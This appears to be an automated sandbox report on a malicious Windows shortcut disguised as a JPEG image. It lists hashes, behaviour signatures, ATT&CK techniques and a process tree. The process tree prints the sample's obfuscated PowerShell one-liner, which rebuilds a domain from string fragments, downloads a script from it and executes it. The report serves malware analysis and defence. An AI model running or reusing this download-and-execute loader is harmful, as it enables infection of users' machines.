a3988c31a60e72d9d10d21fea1ff1fda94a3c632caf3064740140d2b9ac0b3aa

Analysis

max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260729_042854.jpg.lnk
Size 1KB
Sample260729-jdv6layblh
SHA256 a3988c31a60e72d9d10d21fea1ff1fda94a3c632caf3064740140d2b9ac0b3aa
MD5 c8b5c0567227b5504e92de0a74846e46
SHA1 8211b9749865093fd852a99c0ae1683f3d0e0e7a
SHA512 5e4133e84096108e83931fba1b2b2bf8e9a7ba59f2b0b6667bf88af2871592b85e4a5a65e51e71ff7b649a7098431d8d2f90c95f2afbcf4ea93d56deaf86e890
TLSH
T15D31F4255BF30328D6BB8B355876631147317A0EEA59CFDF1380C1949564120F8B8F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4852	powershell.exe
6	4852	powershell.exe
11	4852	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5732	cmd.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5732 wrote to memory of 4852	5732	cmd.exe	90
PID 4852 wrote to memory of 3248	4852	powershell.exe	91
PID 3248 wrote to memory of 1592	3248	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260729_042854.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('re','p','.sho','ot','oinstayn','ow','servph')[0,6,3,4,5,2,1] -join $i7tAljM) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r1mt4vto\r1mt4vto.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3248
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE2F.tmp" "c:\Users\Admin\AppData\Local\Temp\r1mt4vto\CSC699B05AE4B546C6B6FB866969403E50.TMP"
      4⤵
      PID:1592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESEE2F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESEE2F.tmp
Size 1KB
SHA256 466a4b0d7cf99ce0e019402a48f79183eab1be1e034517b2657ca904d050c9d7
MD5 bb01874de8a867b63ee3f1d3a0be5cf1
SHA1 fe945619e35bd935eec13c5b4a480651f0c7f85f
SHA512 071db062ae5cdda865f5537606149d5e4726083ee9cd94b3e7ec0ff5fbf5d127cf245ee461d822e6d536869d22da36dc05e2c59aac5d552a556a664fc2eee0b0
TLSH
T12C21800593E8470FF077573169F6172FA674FC64DFA197AA4540422C1C51544DEE0B73
MD5 SHA1 SHA512 TLSH

Submit Download

r1mt4vto.dll

Path C:\Users\Admin\AppData\Local\Temp\r1mt4vto\r1mt4vto.dll
Size 3KB
SHA256 d8e03fe7240ff59201190f40346e183ff72fb9840cf2999902ad4a416da99c09
MD5 0e778b6cd086a46938b7c5c5f8d2d805
SHA1 92231c940e7a0f8b408e1161529e078f6ccabdb9
SHA512 65a7188e49629ba6ac71f7df939223981170277c2e2769a5f7633a9665d5d689f0bf6947b79e899480311af0340545e84ce77dd9c63d0d27981802c344731802
TLSH
T1AA51CA1693E8062BE4774734AFF3075737B4F8109FB253A95980022DAC607545E31BB2
MD5 SHA1 SHA512 TLSH

Submit Download

CSC699B05AE4B546C6B6FB866969403E50.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\r1mt4vto\CSC699B05AE4B546C6B6FB866969403E50.TMP
Size 652B
SHA256 6e889c89075f31a858092e2b845d8b3be5ce9856d5156642c86b05e1c22c54b9
MD5 803676f215e57a850bfa515e73f5d404
SHA1 06b7e035eb01bbbe6d5db1462802758c4afadfd6
SHA512 f6ef44caffddc08139f9400bb0032c991ae22ee4b9a09a1923a529c64ba18d96d12db785e55f0aa0d0604a9683646e037dcdfd26f458550ba44e8e605a95a029
TLSH
T126F05E09A3F8020EF0F75B31BEF6436395A8BC64DE32A3ED1440031D68645148AA2FB2
MD5 SHA1 SHA512 TLSH

Submit Download

r1mt4vto.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\r1mt4vto\r1mt4vto.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

r1mt4vto.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\r1mt4vto\r1mt4vto.cmdline
Size 369B
SHA256 51b72b0509a0bf3dcdd0bd4182d551e987ed5953d1533097b748a4621dc8f462
MD5 88b1d7d362a8653f74abd9ccdf52c2e9
SHA1 b74178a464ba5c026b9558d5aff0a2bd3f15b14b
SHA512 b05f76101ed57461107149b86d772b836f59416deb8cc0f003f56d34087d999d03da551052ccc44cfdbe50fc018b1186c995f160da4c60efde1007c055534191
TLSH
T17FE0C03A5347C2BF0BDD950B216BC4ADC27227433A883F8C5040840DF01B01527D1782
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4852-14-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-18-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-11-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-12-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-13-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-2-0x00007FFF4B65F000-0x00007FFF4B660000-memory.dmp

Download

memory/4852-15-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-16-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-17-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-10-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-19-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-9-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-8-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-7-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-4-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download

memory/4852-33-0x000001F24A4E0000-0x000001F24A4E8000-memory.dmp

Download

memory/4852-3-0x000001F24A010000-0x000001F24A032000-memory.dmp

Download

memory/4852-38-0x00007FFF4B4D0000-0x00007FFF4BE74000-memory.dmp

Download